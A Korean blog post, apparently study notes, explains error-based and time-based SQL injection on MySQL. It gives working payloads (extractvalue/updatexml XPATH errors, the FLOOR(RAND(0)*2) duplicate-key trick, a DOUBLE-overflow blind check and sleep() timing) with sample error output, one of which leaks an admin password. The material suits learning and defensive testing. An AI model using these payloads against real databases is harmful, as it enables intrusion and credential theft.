게시판 서비스에서 SQL Injection 취약점이 발견되면 게시글의 제목, 본문 등 쿼리의 결과가 출력되는 부분을 통해 DB의 정보를 추출할 수 있는데, 이와 달리 쿼리의 결과가 출력되지 않아 공격자가 확인하지 못하는 경우 Error &Time based SQL Injection을 이용할 수 있다.
Error based SQL Injection
임의로 에러를 발생시켜 정보를 획득하는 공격 기법
사용자가 데이터 입력을 받는 폼에 잘못된 쿼리를 삽입하게 되면 문법 에러가 발생되고 에러 메세지와 같은 결과는 직접적으로 노출되지 않는다. 에러를 이용하여 공격을 하려 한다면 이와 같이 DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임(Runtime) 즉, 쿼리가 실행되고나서 발생하는 에러가 필요하다.
- SELECT extractvalue(1,concat(0x3a, version()));
/*ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'*/
- extractvalue(xml_frag, xpath_expr): xml_frag에 xpath_expr과 xpath가 일치하는 xml 노드를 반환하는 함수
- extractvalue 함수의 올바른 예시: SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a'); => test 출력
- extractvalue 함수에 올바르지 않은 XPATH가 전달 된 경우: 상단의 예시와 같이 에러 메세지 출력
! 여기서 XPATH에 삽입한 식의 결과(version 함수) 에러 메세지로 출력됨 !
-> 쿼리가 실행되고나서 발생하는 에러, 해당 정보를 통해 1-day 또는 0-day 공격이 가능할 수 O
- extractvalue(xml_frag, xpath_expr): xml_frag에 xpath_expr과 xpath가 일치하는 xml 노드를 반환하는 함수
공격 예시
MySQL
- SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
/* ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd' */ - SELECT updatexml(null,concat(0x0a,version()),null);
/* ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log' */ - SELECT extractvalue(1,concat(0x3a,version()));
/* ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log' */ - SELECT
COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x;
/* ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>' */
에러 발생으로 COUNT(*)는 출력되지 않음 / (SELECT version()): 현재 MySQL 서버의 버전을 반환하는 서브 쿼리
0x3a: ASCII로 ":" 문자를 의미 / FLOOR(RAND(0)*2): 0과 1 사이의 임의의 수(RAND(0))에 2를 곱한 후, 그 결과를 내림(FLOOR)하여 0 또는 1의 값을 반환 / 이 세 값이 CONCAT을 통해 결합되며, 결합된 결과는 'x'라는 별칭으로 참조
NOTICE: MySQL 최신 버전에서는 동작하지 않는다.
Error based Blind SQL Injection
- SELECT if(substr(password, 1, 1) = 'a', 9e307*2, 0);
- 조건문이 true인 경우 9e307*2 실행 (MySQL의 Double 자료형의 최댓값을 초과시켜 에러를 발생)
=> ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)' - 조건문이 false인 경우
=> 0 출력
- 조건문이 true인 경우 9e307*2 실행 (MySQL의 Double 자료형의 최댓값을 초과시켜 에러를 발생)
Time based SQL Injection
시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법
- SELECT if(substr(password, 1, 1) = 'a', sleep(1), 0);
- 조건문이 true인 경우 1초 sleep 후 0 반환
- 조건문이 false인 경우 바로 0 반환
'Web > SQL Injection' 카테고리의 다른 글
DB 종류, 버전 알아내기 (0) | 2024.08.15 |
---|---|
System table (0) | 2024.08.15 |
Blind SQL Injection (0) | 2024.08.06 |
UNION / Subquery (0) | 2024.08.06 |
DML (0) | 2024.08.06 |